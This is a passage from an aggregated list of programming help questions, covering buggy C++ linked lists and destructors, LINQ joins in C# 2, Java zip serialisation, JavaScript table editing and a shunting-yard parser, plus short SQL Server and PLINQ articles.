any times for efficency or future coding. Thanks again P.S. Dr. Zemoudeh, this is your student Macaire

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  • Linked List exercise, what am I doing wrong?

    - by Sean Ochoa
    Hey all. I'm doing a linked list exercise that involves dynamic memory allocation, pointers, classes, and exceptions. Would someone be willing to critique it and tell me what I did wrong and what I should have done better both with regards to style and to those subjects I listed above? /* Linked List exercise */ #include <iostream> #include <exception> #include <string> using namespace std; class node{ public: node * next; int * data; node(const int i){ data = new int; *data = i; } node& operator=(node n){ *data = *(n.data); } ~node(){ delete data; } }; class linkedList{ public: node * head; node * tail; int nodeCount; linkedList(){ head = NULL; tail = NULL; } ~linkedList(){ while (head){ node* t = head->next; delete head; if (t) head = t; } } void add(node * n){ if (!head) { head = n; head->next = NULL; tail = head; nodeCount = 0; }else { node * t = head; while (t->next) t = t->next; t->next = n; n->next = NULL; nodeCount++; } } node * operator[](const int &i){ if ((i >= 0) && (i < nodeCount)) throw new exception("ERROR: Invalid index on linked list.", -1); node *t = head; for (int x = i; x < nodeCount; x++) t = t->next; return t; } void print(){ if (!head) return; node * t = head; string collection; cout << "["; int c = 0; if (!t->next) cout << *(t->data); else while (t->next){ cout << *(t->data); c++; if (t->next) t = t->next; if (c < nodeCount) cout << ", "; } cout << "]" << endl; } }; int main (const int & argc, const char * argv[]){ try{ linkedList * myList = new linkedList; for (int x = 0; x < 10; x++) myList->add(new node(x)); myList->print(); }catch(exception &ex){ cout << ex.what() << endl; return -1; } return 0; }

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  • Grafting LINQ onto C# 2 library

    - by P Daddy
    I'm writing a data access layer. It will have C# 2 and C# 3 clients, so I'm compiling against the 2.0 framework. Although encouraging the use of stored procedures, I'm still trying to provide a fairly complete ability to perform ad-hoc queries. I have this working fairly well, already. For the convenience of C# 3 clients, I'm trying to provide as much compatibility with LINQ query syntax as I can. Jon Skeet noticed that LINQ query expressions are duck typed, so I don't have to have an IQueryable and IQueryProvider (or IEnumerable<T>) to use them. I just have to provide methods with the correct signatures. So I got Select, Where, OrderBy, OrderByDescending, ThenBy, and ThenByDescending working. Where I need help are with Join and GroupJoin. I've got them working, but only for one join. A brief compilable example of what I have is this: // .NET 2.0 doesn't define the Func<...> delegates, so let's define some workalikes delegate TResult FakeFunc<T, TResult>(T arg); delegate TResult FakeFunc<T1, T2, TResult>(T1 arg1, T2 arg2); abstract class Projection{ public static Condition operator==(Projection a, Projection b){ return new EqualsCondition(a, b); } public static Condition operator!=(Projection a, Projection b){ throw new NotImplementedException(); } } class ColumnProjection : Projection{ readonly Table table; readonly string columnName; public ColumnProjection(Table table, string columnName){ this.table = table; this.columnName = columnName; } } abstract class Condition{} class EqualsCondition : Condition{ readonly Projection a; readonly Projection b; public EqualsCondition(Projection a, Projection b){ this.a = a; this.b = b; } } class TableView{ readonly Table table; readonly Projection[] projections; public TableView(Table table, Projection[] projections){ this.table = table; this.projections = projections; } } class Table{ public Projection this[string columnName]{ get{return new ColumnProjection(this, columnName);} } public TableView Select(params Projection[] projections){ return new TableView(this, projections); } public TableView Select(FakeFunc<Table, Projection[]> projections){ return new TableView(this, projections(this)); } public Table Join(Table other, Condition condition){ return new JoinedTable(this, other, condition); } public TableView Join(Table inner, FakeFunc<Table, Projection> outerKeySelector, FakeFunc<Table, Projection> innerKeySelector, FakeFunc<Table, Table, Projection[]> resultSelector){ Table join = new JoinedTable(this, inner, new EqualsCondition(outerKeySelector(this), innerKeySelector(inner))); return join.Select(resultSelector(this, inner)); } } class JoinedTable : Table{ readonly Table left; readonly Table right; readonly Condition condition; public JoinedTable(Table left, Table right, Condition condition){ this.left = left; this.right = right; this.condition = condition; } } This allows me to use a fairly decent syntax in C# 2: Table table1 = new Table(); Table table2 = new Table(); TableView result = table1 .Join(table2, table1["ID"] == table2["ID"]) .Select(table1["ID"], table2["Description"]); But an even nicer syntax in C# 3: TableView result = from t1 in table1 join t2 in table2 on t1["ID"] equals t2["ID"] select new[]{t1["ID"], t2["Description"]}; This works well and gives me identical results to the first case. The problem is if I want to join in a third table. TableView result = from t1 in table1 join t2 in table2 on t1["ID"] equals t2["ID"] join t3 in table3 on t1["ID"] equals t3["ID"] select new[]{t1["ID"], t2["Description"], t3["Foo"]}; Now I get an error (Cannot implicitly convert type 'AnonymousType#1' to 'Projection[]'), presumably because the second join is trying to join the third table to an anonymous type containing the first two tables. This anonymous type, of course, doesn't have a Join method. Any hints on how I can do this?

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  • java: how to get a string representation of a compressed byte array ?

    - by Guillaume
    I want to put some compressed data into a remote repository. To put data on this repository I can only use a method that take the name of the resource and its content as a String. (like data.txt + "hello world"). The repository is moking a filesystem but is not, so I can not use File directly. I want to be able to do the following: client send to server a file 'data.txt' server compress 'data.txt' into a compressed file 'data.zip' server send a string representation of data.zip to the repository repository store data.zip client download from repository data.zip and his able to open it with its favorite zip tool The problem arise at step 3 when I try to get a string representation of my compressed file. Here is a sample class, using the zip*stream and that emulate the repository showcasing my problem. The created zip file is working, but after its 'serialization' it's get corrupted. (the sample class use jakarta commons.io ) Many thanks for your help. package zip; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.util.zip.ZipEntry; import java.util.zip.ZipInputStream; import java.util.zip.ZipOutputStream; import org.apache.commons.io.FileUtils; /** * Date: May 19, 2010 - 6:13:07 PM * * @author Guillaume AME. */ public class ZipMe { public static void addOrUpdate(File zipFile, File ... files) throws IOException { File tempFile = File.createTempFile(zipFile.getName(), null); // delete it, otherwise you cannot rename your existing zip to it. tempFile.delete(); boolean renameOk = zipFile.renameTo(tempFile); if (!renameOk) { throw new RuntimeException("could not rename the file " + zipFile.getAbsolutePath() + " to " + tempFile.getAbsolutePath()); } byte[] buf = new byte[1024]; ZipInputStream zin = new ZipInputStream(new FileInputStream(tempFile)); ZipOutputStream out = new ZipOutputStream(new FileOutputStream(zipFile)); ZipEntry entry = zin.getNextEntry(); while (entry != null) { String name = entry.getName(); boolean notInFiles = true; for (File f : files) { if (f.getName().equals(name)) { notInFiles = false; break; } } if (notInFiles) { // Add ZIP entry to output stream. out.putNextEntry(new ZipEntry(name)); // Transfer bytes from the ZIP file to the output file int len; while ((len = zin.read(buf)) > 0) { out.write(buf, 0, len); } } entry = zin.getNextEntry(); } // Close the streams zin.close(); // Compress the files if (files != null) { for (File file : files) { InputStream in = new FileInputStream(file); // Add ZIP entry to output stream. out.putNextEntry(new ZipEntry(file.getName())); // Transfer bytes from the file to the ZIP file int len; while ((len = in.read(buf)) > 0) { out.write(buf, 0, len); } // Complete the entry out.closeEntry(); in.close(); } // Complete the ZIP file } tempFile.delete(); out.close(); } public static void main(String[] args) throws IOException { final String zipArchivePath = "c:/temp/archive.zip"; final String tempFilePath = "c:/temp/data.txt"; final String resultZipFile = "c:/temp/resultingArchive.zip"; File zipArchive = new File(zipArchivePath); FileUtils.touch(zipArchive); File tempFile = new File(tempFilePath); FileUtils.writeStringToFile(tempFile, "hello world"); addOrUpdate(zipArchive, tempFile); //archive.zip exists and contains a compressed data.txt that can be read using winrar //now simulate writing of the zip into a in memory cache String archiveText = FileUtils.readFileToString(zipArchive); FileUtils.writeStringToFile(new File(resultZipFile), archiveText); //resultingArchive.zip exists, contains a compressed data.txt, but it can not //be read using winrar: CRC failed in data.txt. The file is corrupt } }

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  • Where is the mistake ?

    - by mr.bio
    Hi ... i am implementing a simple linked list in c++. I have a mistake and i don't see it :( #include <stdexcept> #include <iostream> struct Node { Node(Node *next, int value): next(next), value(value) { } Node *next; int value; }; class List { Node *first; // Erstes Element , 0 falls die Liste leer ist int len; // Laenge der liste Node *nthNode(int index); // Hilfsfunktion : O( index ) public: // Default - Konstruktor ( Laenge 0): O (1) List():first(0),len(0){ } // Copy - Konstruktor : O(other.len) List(const List & other){ }; // Zuweisungs - Operator O(len +other.len) List &operator=(const List &other) { clear(); if(!other.len) return *this; Node *it = first = new Node(0,other.first->value); for (Node *n = other.first->next; n; n = n->next) { it = it->next = new Node(0, n->value); } len = other.len; return *this; } // Destruktor ( gibt den Speicher von allen Nodes frei ): O( len ) ~List(){ }; // Haengt der Liste ein Element hinten an: O( len ) void push_back(int value){ }; // Fuegt am Anfang der Liste ein Element ein : O (1) void push_front(int value){ Node* front = new Node(0,value); if(first){ first = front; front->next = 0; }else{ front->next = first; first = front; } len++; }; // gibt eine Referenz auf das index -te Element zurueck : O( index ) int &at(int index){ int count = 0 ; int ret ; Node *it = first; for (Node *n = first->next; n; n = n->next) { if(count==index) ret = n->value; count++; } return ret ; }; // Entfernt alle Elemente : O(len) void clear(){ }; // Zeigt alle Elemente an: hier : O( len * len ) void show() { std::cout << " List [" << len << " ]:{ "; for (int i = 0; i < len; ++i) { std::cout << at(i) << (i == len - 1 ? '}' : ','); } std::cout << std::endl; } }; /* * */ int main() { List l; // l. push_back(1); // l. push_back(2); l. push_front(7); l. push_front(8); l. push_front(9); l.show(); // List(l). show(); } it works ... but the output is : List [3 ]:{ 0,134520896,9484585}

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  • C++ destructor seems to be called 'early'

    - by suicideducky
    Please see the "edit" section for the updated information. Sorry for yet another C++ dtor question... However I can't seem to find one exactly like mine as all the others are assigning to STL containers (that will delete objects itself) whereas mine is to an array of pointers. So I have the following code fragment #include<iostream> class Block{ public: int x, y, z; int type; Block(){ x=1; y=2; z=3; type=-1; } }; template <class T> class Octree{ T* children[8]; public: ~Octree(){ for( int i=0; i<8; i++){ std::cout << "del:" << i << std::endl; delete children[i]; } } Octree(){ for( int i=0; i<8; i++ ) children[i] = new T; } // place newchild in array at [i] void set_child(int i, T* newchild){ children[i] = newchild; } // return child at [i] T* get_child(int i){ return children[i]; } // place newchild at [i] and return the old [i] T* swap_child(int i, T* newchild){ T* p = children[i]; children[i] = newchild; return p; } }; int main(){ Octree< Octree<Block> > here; std::cout << "nothing seems to have broken" << std::endl; } Looking through the output I notice that the destructor is being called many times before I think it should (as Octree is still in scope), the end of the output also shows: del:0 del:0 del:1 del:2 del:3 Process returned -1073741819 (0xC0000005) execution time : 1.685 s Press any key to continue. For some reason the destructor is going through the same point in the loop twice (0) and then dying. All of this occures before the "nothing seems to have gone wrong" line which I expected before any dtor was called. Thanks in advance :) EDIT The code I posted has some things removed that I thought were unnecessary but after copying and compiling the code I pasted I no longer get the error. What I removed was other integer attributes of the code. Here is the origional: #include<iostream> class Block{ public: int x, y, z; int type; Block(){ x=1; y=2; z=3; type=-1; } Block(int xx, int yy, int zz, int ty){ x=xx; y=yy; z=zz; type=ty; } Block(int xx, int yy, int zz){ x=xx; y=yy; z=zz; type=0; } }; template <class T> class Octree{ int x, y, z; int size; T* children[8]; public: ~Octree(){ for( int i=0; i<8; i++){ std::cout << "del:" << i << std::endl; delete children[i]; } } Octree(int xx, int yy, int zz, int size){ x=xx; y=yy; z=zz; size=size; for( int i=0; i<8; i++ ) children[i] = new T; } Octree(){ Octree(0, 0, 0, 10); } // place newchild in array at [i] void set_child(int i, T* newchild){ children[i] = newchild; } // return child at [i] T* get_child(int i){ return children[i]; } // place newchild at [i] and return the old [i] T* swap_child(int i, T* newchild){ T* p = children[i]; children[i] = newchild; return p; } }; int main(){ Octree< Octree<Block> > here; std::cout << "nothing seems to have broken" << std::endl; } Also, as for the problems with set_child, get_child and swap_child leading to possible memory leaks this will be solved as a wrapper class will either use get before set or use swap to get the old child and write this out to disk before freeing the memory itself. I am glad that it is not my memory management failing but rather another error. I have not made a copy and/or assignment operator yet as I was just testing the block tree out, I will almost certainly make them all private very soon. This version spits out -1073741819. Thank you all for your suggestions and I apologise for highjacking my own thread :$

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  • Is there any better way for creating a dynamic HTML table without using any javascript library like

    - by piemesons
    Dont worry we dont need to find out any bug in this code.. Its working perfectly.:-P My boss came to me and said "Hey just tell me whats the best of way of writing code for a dynamic HTML table (add row, delete row, update row).No need to add any CSS. Just javascript. No Jquery library etc. I was confused that in the middle of the project why he asking for some stupid exercise like this. What ever i wrote the following code and mailed him and after 15 mins i got a mail from him. " I was expecting much better code from a guy like you. Anyways good job monkey.(And with a picture of monkey as attachment.) thats was the mail. Line by line. I want to reply him but before that i want to know about the quality of my code. Is this really shitty...!!! Or he was just making fun of mine. I dont think that code is really shitty. Still correct me if you can.Code is working perfectly fine. Just copy paste it in a HTML file. <html> <head> <title> Exercise CSS </title> <script type="text/javascript"> function add_row() { var table = document.getElementById('table'); var rowCount = table.rows.length; var row = table.insertRow(rowCount); var cell1 = row.insertCell(0); var element1 = document.createElement("input"); element1.type = "text"; cell1.appendChild(element1); var cell2 = row.insertCell(1); var element2 = document.createElement("input"); element2.type = "text"; cell2.appendChild(element2); var cell3 = row.insertCell(2); cell3.innerHTML = ' <span onClick="edit(this)">Edit</span>/<span onClick="delete_row(this)">Delete</span>'; cell3.setAttribute("style", "display:none;"); var cell4 = row.insertCell(3); cell4.innerHTML = '<span onClick="save(this)">Save</span>'; } function save(e) { var elTableCells = e.parentNode.parentNode.getElementsByTagName("td"); elTableCells[0].innerHTML=elTableCells[0].firstChild.value; elTableCells[1].innerHTML=elTableCells[1].firstChild.value; elTableCells[2].setAttribute("style", "display:block;"); elTableCells[3].setAttribute("style", "display:none;"); } function edit(e) { var elTableCells = e.parentNode.parentNode.getElementsByTagName("td"); elTableCells[0].innerHTML='<input type="text" value="'+elTableCells[0].innerHTML+'">'; elTableCells[1].innerHTML='<input type="text" value="'+elTableCells[1].innerHTML+'">'; elTableCells[2].setAttribute("style", "display:none;"); elTableCells[3].setAttribute("style", "display:block;"); } function delete_row(e) { e.parentNode.parentNode.parentNode.removeChild(e.parentNode.parentNode); } </script> </head> <body > <div id="display"> <table id='table'> <tr id='id'> <td> Piemesons </td> <td> 23 </td> <td > <span onClick="edit(this)">Edit</span>/<span onClick="delete_row(this)">Delete</span> </td> <td style="display:none;"> <span onClick="save(this)">Save</span> </td> </tr> </table> <input type="button" value="Add new row" onClick="add_row();" /> </div> </body>

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  • Losing data after reading them correct from file

    - by user1388172
    i have the fallowing class of object with a class a data structure which i use in main combined. The ADT(abstract data type) is a linked list. After i read from file the input data and create and object which at print looks just fine after a print. after i push_back() the 3-rd int variable get initializated to 0. So example and code: Example: ex.in: 1 7 31 2 2 2 3 3 3 now i create objects from each line, which at print look as they suppose, but after push_back(): 1 7 0 2 2 0 3 3 0 Class.h: class RAngle { private: int x,y,l,b; public: int solution,prec; RAngle(){ x = y = solution = prec = b = l =0; } RAngle(int i,int j,int k){ x = i; y = j; l = k; solution = 0; prec=0; b=0; } friend ostream& operator << (ostream& out, const RAngle& ra){ out << ra.x << " " << ra.y << " " << ra.l <<endl; return out; } friend istream& operator >>( istream& is, RAngle& ra){ is >> ra.x; is >> ra.y; is >> ra.l; return is ; } }; ADT.h: template <class T> class List { private: struct Elem { T data; Elem* next; }; Elem* first; T pop_front(){ if (first!=NULL) { T aux = first->data; first = first->next; return aux; } T a; return a; } void push_back(T data){ Elem *n = new Elem; n->data = data; n->next = NULL; if (first == NULL) { first = n; return ; } Elem *current; for(current=first;current->next != NULL;current=current->next); current->next = n; } Main.cpp(after i call this function in main which prints object as they suppose to be the x var(from RAngle class) changes to 0 in all cases.) void readData(List <RAngle> &l){ RAngle r; ifstream f_in; f_in.open("ex.in",ios::in); for(int i=0;i<10;++i){ f_in >> r; cout << r; l.push_back(r); }

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  • How can I modify my Shunting-Yard Algorithm so it accepts unary operators?

    - by KingNestor
    I've been working on implementing the Shunting-Yard Algorithm in JavaScript for class. Here is my work so far: var userInput = prompt("Enter in a mathematical expression:"); var postFix = InfixToPostfix(userInput); var result = EvaluateExpression(postFix); document.write("Infix: " + userInput + "<br/>"); document.write("Postfix (RPN): " + postFix + "<br/>"); document.write("Result: " + result + "<br/>"); function EvaluateExpression(expression) { var tokens = expression.split(/([0-9]+|[*+-\/()])/); var evalStack = []; while (tokens.length != 0) { var currentToken = tokens.shift(); if (isNumber(currentToken)) { evalStack.push(currentToken); } else if (isOperator(currentToken)) { var operand1 = evalStack.pop(); var operand2 = evalStack.pop(); var result = PerformOperation(parseInt(operand1), parseInt(operand2), currentToken); evalStack.push(result); } } return evalStack.pop(); } function PerformOperation(operand1, operand2, operator) { switch(operator) { case '+': return operand1 + operand2; case '-': return operand1 - operand2; case '*': return operand1 * operand2; case '/': return operand1 / operand2; default: return; } } function InfixToPostfix(expression) { var tokens = expression.split(/([0-9]+|[*+-\/()])/); var outputQueue = []; var operatorStack = []; while (tokens.length != 0) { var currentToken = tokens.shift(); if (isNumber(currentToken)) { outputQueue.push(currentToken); } else if (isOperator(currentToken)) { while ((getAssociativity(currentToken) == 'left' && getPrecedence(currentToken) <= getPrecedence(operatorStack[operatorStack.length-1])) || (getAssociativity(currentToken) == 'right' && getPrecedence(currentToken) < getPrecedence(operatorStack[operatorStack.length-1]))) { outputQueue.push(operatorStack.pop()) } operatorStack.push(currentToken); } else if (currentToken == '(') { operatorStack.push(currentToken); } else if (currentToken == ')') { while (operatorStack[operatorStack.length-1] != '(') { if (operatorStack.length == 0) throw("Parenthesis balancing error! Shame on you!"); outputQueue.push(operatorStack.pop()); } operatorStack.pop(); } } while (operatorStack.length != 0) { if (!operatorStack[operatorStack.length-1].match(/([()])/)) outputQueue.push(operatorStack.pop()); else throw("Parenthesis balancing error! Shame on you!"); } return outputQueue.join(" "); } function isOperator(token) { if (!token.match(/([*+-\/])/)) return false; else return true; } function isNumber(token) { if (!token.match(/([0-9]+)/)) return false; else return true; } function getPrecedence(token) { switch (token) { case '^': return 9; case '*': case '/': case '%': return 8; case '+': case '-': return 6; default: return -1; } } function getAssociativity(token) { switch(token) { case '+': case '-': case '*': case '/': return 'left'; case '^': return 'right'; } } It works fine so far. If I give it: ((5+3) * 8) It will output: Infix: ((5+3) * 8) Postfix (RPN): 5 3 + 8 * Result: 64 However, I'm struggling with implementing the unary operators so I could do something like: ((-5+3) * 8) What would be the best way to implement unary operators (negation, etc)? Also, does anyone have any suggestions for handling floating point numbers as well? One last thing, if anyone sees me doing anything weird in JavaScript let me know. This is my first JavaScript program and I'm not used to it yet.

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  • Type for use in template object to compare double values

    - by DaClown
    I got this n-dimensional point object: template <class T, unsigned int dimension> class Obj { protected: T coords[dimension]; static const unsigned int size = dimension; public: Obj() { }; Obj(T def) { for (unsigned int i = 0; i < size; ++i) coords[i]=def; }; Obj(const Obj& o) { for (unsigned int i = 0; i < size; ++i) coords[i] = o.coords[i]; } const Obj& operator= (const Obj& rhs) { if (this != &rhs) for (unsigned int i = 0; i < size; ++i) coords[i] = rhs.coords[i]; return *this; } virtual ~Obj() { }; T get (unsigned int id) { if (id >= size) throw std::out_of_range("out of range"); return coords[id]; } void set (unsigned int id, T t) { if (id >= size) throw std::out_of_range("out of range"); coords[id] = t; } }; and a 3D point class which uses Obj as base class: template <class U> class Point3DBase : public Obj<U,3> { typedef U type; public: U &x, &y, &z; public: Point3DBase() : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { }; Point3DBase(U def) : Obj<U,3>(def), x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { }; Point3DBase(U x_, U y_, U z_) : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { x = x_; y = y_; z= z_; }; Point3DBase(const Point3DBase& other) : x(Obj<U,3>::coords[0]), y(Obj<U,3>::coords[1]), z(Obj<U,3>::coords[2]) { x = other.x; y = other.y; z = other.z; } // several operators ... }; The operators, basically the ones for comparison, use the simple compare-the-member-object approach like: virtual friend bool operator== (const Point3DBase<U> &lhs, const Point3DBase<U> rhs) { return (lhs.x == rhs.x && lhs.y == rhs.y && lhs.z == rhs.z); } Then it occured to me that for the comparion of double values the simply equality approach is not very useful since double values should be compared with an error margin. What would be the best approach to introduce an error margin into the point? I thought about an epsDouble type as template parameter but I can't figure out how to achieve this.

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  • Java: Switch statements with methods involving arrays

    - by Shane
    Hi guys I'm currently creating a program that allows the user to create an array, search an array and delete an element from an array. Looking at the LibraryMenu Method, the first case where you create an array in the switch statement works fine, however the other ones create a "cannot find symbol error" when I try to compile. My question is I want the search and delete functions to refer to the first switch case - the create Library array. Any help is appreciated, even if its likely from a simple mistake. import java.util.*; public class EnterLibrary { public static void LibraryMenu() { java.util.Scanner scannerObject =new java.util.Scanner(System.in); LibraryMenu Menu = new LibraryMenu(); Menu.displayMenu(); switch (scannerObject.nextInt() ) { case '1': { System.out.println ("1 - Add Videos"); Library[] newLibrary; newLibrary = createLibrary(); } break; case '2': System.out.println ("2 - Search Videos"); searchLibrary(newLibrary); break; case '3': { System.out.println ("3 - Change Videos"); //Change video method TBA } break; case '4': System.out.println ("4 - Delete Videos"); deleteVideo(newLibrary); break; default: System.out.println ("Unrecognized option - please select options 1-3 "); break; } } public static Library[] createLibrary() { Library[] videos = new Library[4]; java.util.Scanner scannerObject =new java.util.Scanner(System.in); for (int i = 0; i < videos.length; i++) { //User enters values into set methods in Library class System.out.print("Enter video number: " + (i+1) + "\n"); String number = scannerObject.nextLine(); System.out.print("Enter video title: " + (i+1) + "\n"); String title = scannerObject.nextLine(); System.out.print("Enter video publisher: " + (i+1) + "\n"); String publisher = scannerObject.nextLine(); System.out.print("Enter video duration: " + (i+1) + "\n"); String duration = scannerObject.nextLine(); System.out.print("Enter video date: " + (i+1) + "\n"); String date= scannerObject.nextLine(); System.out.print("VIDEO " + (i+1) + " ENTRY ADDED " + "\n \n"); //Initialize arrays videos[i] = new Library (); videos[i].setVideo( number, title, publisher, duration, date ); } return videos; } public static void printVidLibrary( Library[] videos) { //Get methods to print results System.out.print("\n======VIDEO CATALOGUE====== \n"); for (int i = 0; i < videos.length; i++) { System.out.print("Video number " + (i+1) + ": \n" + videos[i].getNumber() + "\n "); System.out.print("Video title " + (i+1) + ": \n" + videos[i].getTitle() + "\n "); System.out.print("Video publisher " + (i+1) + ": \n" + videos[i].getPublisher() + "\n "); System.out.print("Video duration " + (i+1) + ": \n" + videos[i].getDuration() + "\n "); System.out.print("Video date " + (i+1) + ": \n" + videos[i].getDate() + "\n "); } } public static Library searchLibrary( Library[] videos) { //User enters values to setSearch Library titleResult = new Library(); java.util.Scanner scannerObject =new java.util.Scanner(System.in); for (int n = 0; n < videos.length; n++) { System.out.println("Search for video number:\n"); String newSearch = scannerObject.nextLine(); titleResult.getSearch( videos, newSearch); if (!titleResult.equals(-1)) { System.out.print("Match found!\n" + newSearch + "\n"); } else if (titleResult.equals(-1)) { System.out.print("Sorry, no matches found!\n"); } } return titleResult; } public static void deleteVideo( Library[] videos) { Library titleResult = new Library(); java.util.Scanner scannerObject =new java.util.Scanner(System.in); for (int n = 0; n < videos.length; n++) { System.out.println("Search for video number:\n"); String deleteSearch = scannerObject.nextLine(); titleResult.deleteVideo(videos, deleteSearch); System.out.print("Video deleted\n"); } } public static void main(String[] args) { Library[] newLibrary; new LibraryMenu(); } }

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  • Problem with incomplete type while trying to detect existence of a member function

    - by abir
    I was trying to detect existence of a member function for a class where the function tries to use an incomplete type. The typedef is struct foo; typedef std::allocator<foo> foo_alloc; The detection code is struct has_alloc { template<typename U,U x> struct dummy; template<typename U> static char check(dummy<void* (U::*)(std::size_t),&U::allocate>*); template<typename U> static char (&check(...))[2]; const static bool value = (sizeof(check<foo_alloc>(0)) == 1); }; So far I was using incomplete type foo with std::allocator without any error on VS2008. However when I replaced it with nearly an identical implementation as template<typename T> struct allocator { T* allocate(std::size_t n) { return (T*)operator new (sizeof(T)*n); } }; it gives an error saying that as T is incomplete type it has problem instantiating allocator<foo> because allocate uses sizeof. GCC 4.5 with std::allocator also gives the error, so it seems during detection process the class need to be completely instantiated, even when I am not using that function at all. What I was looking for is void* allocate(std::size_t) which is different from T* allocate(std::size_t). My questions are (I have three questions, but as they are correlated , so I thought it is better not to create three separate questions). Why MS std::allocator doesn't check for incomplete type foo while instantiating? Are they following any trick which can be implemented ? Why the compiler need to instantiate allocator<T> to check the existence of the function when sizeof is not used as sfinae mechanism to remove/add allocate in the overload resolutions set? It should be noted that, if I remove the generic implementation of allocate leaving the declaration only, and specialized it for foo afterwards such as struct foo{}; template< struct allocator { foo* allocate(std::size_t n) { return (foo*)operator new (sizeof(foo)*n); } }; after struct has_alloc it compiles in GCC 4.5 while gives error in VS2008 as allocator<T> is already instantiated and explicit specialization for allocator<foo> already defined. Is it legal to use nested types for an std::allocator of incomplete type such as typedef foo_alloc::pointer foo_pointer; ? Though it is practically working for me, I suspect the nested types such as pointer may depend on completeness of type it takes. It will be good to know if there is any possible way to typedef such types as foo_pointer where the type pointer depends on completeness of foo. NOTE : As the code is not copy paste from editor, it may have some syntax error. Will correct it if I find any. Also the codes (such as allocator) are not complete implementation, I simplified and typed only the portion which I think useful for this particular problem.

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  • Jquery returns index -1 always

    - by jfreak53
    This is my index code that I use to return the buttons parent div's index: j('#optionform').index( j(this).parent() ) I'm trying to find out the DIV index of the button clicked, so I can remove the DIV. The HTML layout is like so: <form id="optionform" onsubmit="return false;"> <label><input type="checkbox" id="s_name" value="s_name"> Survey Name </label> <label><input type="checkbox" id="s_type" value="s_type"> Survey Type </label><br> Filter Results:<br> <div id="template" style="display: none;"> Column: <select id="fcolumn[]"> <option></option> <option value="s_name">Survey Name</option> <option value="s_type">Survey Type</option> </select><br> Filter Type: <select id="ftype[]"> <option></option> <option value="=">Equals</option> <option value="LIKE">Like</option> </select><br> Filter content: <input type="text" id="fcontent[]"><br> <img src="images/add.png" width="32px" onclick="addTemp(); return false;"> <img src="images/delete.png" width="32px" onclick="alert(j(this).attr('src')); remTemp(j('#optionform').index( j(this).parent() )); return false;"> </div> <div class="template" style="display: block;"> Column: <select id="fcolumn[]"> <option></option> <option value="s_name">Survey Name</option> <option value="s_type">Survey Type</option> </select><br> Filter Type: <select id="ftype[]"> <option></option> <option value="=">Equals</option> <option value="LIKE">Like</option> </select><br> Filter content: <input type="text" id="fcontent[]"><br> <img src="images/add.png" width="32px" onclick="addTemp(); return false;"> <img src="images/delete.png" width="32px" onclick="alert(j(this).attr('src')); remTemp(j('#optionform').index( j(this).parent() )); return false;"> </div> <div class="template" style="display: block;"> Column: <select id="fcolumn[]"> <option></option> <option value="s_name">Survey Name</option> <option value="s_type">Survey Type</option> </select><br> Filter Type: <select id="ftype[]"> <option></option> <option value="=">Equals</option> <option value="LIKE">Like</option> </select><br> Filter content: <input type="text" id="fcontent[]"><br> <img src="images/add.png" width="32px" onclick="addTemp(); return false;"> <img src="images/delete.png" width="32px" onclick="alert(j(this).attr('src')); remTemp(j('#optionform').index( j(this).parent() )); return false;"> </div> </form> But it always returns -1 in the index.

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  • SQL SERVER – Concat Function in SQL Server – SQL Concatenation

    - by pinaldave
    Earlier this week, I was delivering Advanced BI training on the subject of “SQL Server 2008 R2″. I had great time delivering the session. During the session, we talked about SQL Server 2010 Denali. Suddenly one of the attendees suggested his displeasure for the product. He said, even though, SQL Server is now in moving very fast and have proved many times a good enterprise solution, it does not have some basic functions. I naturally asked him for example and he suggested CONCAT() which exists in MySQL and Oracle. The answer is very simple – the equalent function in SQL Server to CONCAT() is ‘+’ (plus operator without quotes). Method 1: Concatenating two strings SELECT 'FirstName' + ' ' + 'LastName' AS FullName Method 2: Concatenating two Numbers SELECT CAST(1 AS VARCHAR(10)) + 'R' + CAST(2 AS VARCHAR(10)) Method 3: Concatenating values from table columns SELECT FirstName + ' ' + LastName FROM AdventureWorks.Person.Contact Well, this may look very simple but sometime it is very difficult to find the information for simple things only. Do you have any such example which you would like to share with community? Reference: Pinal Dave (http://blog.sqlauthority.com) Filed under: Pinal Dave, SQL, SQL Authority, SQL Query, SQL Scripts, SQL Server, SQL String, SQL Tips and Tricks, T SQL, Technology

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  • Parallelism in .NET – Part 9, Configuration in PLINQ and TPL

    - by Reed
    Parallel LINQ and the Task Parallel Library contain many options for configuration.  Although the default configuration options are often ideal, there are times when customizing the behavior is desirable.  Both frameworks provide full configuration support. When working with Data Parallelism, there is one primary configuration option we often need to control – the number of threads we want the system to use when parallelizing our routine.  By default, PLINQ and the TPL both use the ThreadPool to schedule tasks.  Given the major improvements in the ThreadPool in CLR 4, this default behavior is often ideal.  However, there are times that the default behavior is not appropriate.  For example, if you are working on multiple threads simultaneously, and want to schedule parallel operations from within both threads, you might want to consider restricting each parallel operation to using a subset of the processing cores of the system.  Not doing this might over-parallelize your routine, which leads to inefficiencies from having too many context switches. In the Task Parallel Library, configuration is handled via the ParallelOptions class.  All of the methods of the Parallel class have an overload which accepts a ParallelOptions argument. We configure the Parallel class by setting the ParallelOptions.MaxDegreeOfParallelism property.  For example, let’s revisit one of the simple data parallel examples from Part 2: Parallel.For(0, pixelData.GetUpperBound(0), row => { for (int col=0; col < pixelData.GetUpperBound(1); ++col) { pixelData[row, col] = AdjustContrast(pixelData[row, col], minPixel, maxPixel); } }); .csharpcode, .csharpcode pre { font-size: small; color: black; font-family: consolas, "Courier New", courier, monospace; background-color: #ffffff; /*white-space: pre;*/ } .csharpcode pre { margin: 0em; } .csharpcode .rem { color: #008000; } .csharpcode .kwrd { color: #0000ff; } .csharpcode .str { color: #006080; } .csharpcode .op { color: #0000c0; } .csharpcode .preproc { color: #cc6633; } .csharpcode .asp { background-color: #ffff00; } .csharpcode .html { color: #800000; } .csharpcode .attr { color: #ff0000; } .csharpcode .alt { background-color: #f4f4f4; width: 100%; margin: 0em; } .csharpcode .lnum { color: #606060; } Here, we’re looping through an image, and calling a method on each pixel in the image.  If this was being done on a separate thread, and we knew another thread within our system was going to be doing a similar operation, we likely would want to restrict this to using half of the cores on the system.  This could be accomplished easily by doing: var options = new ParallelOptions(); options.MaxDegreeOfParallelism = Math.Max(Environment.ProcessorCount / 2, 1); Parallel.For(0, pixelData.GetUpperBound(0), options, row => { for (int col=0; col < pixelData.GetUpperBound(1); ++col) { pixelData[row, col] = AdjustContrast(pixelData[row, col], 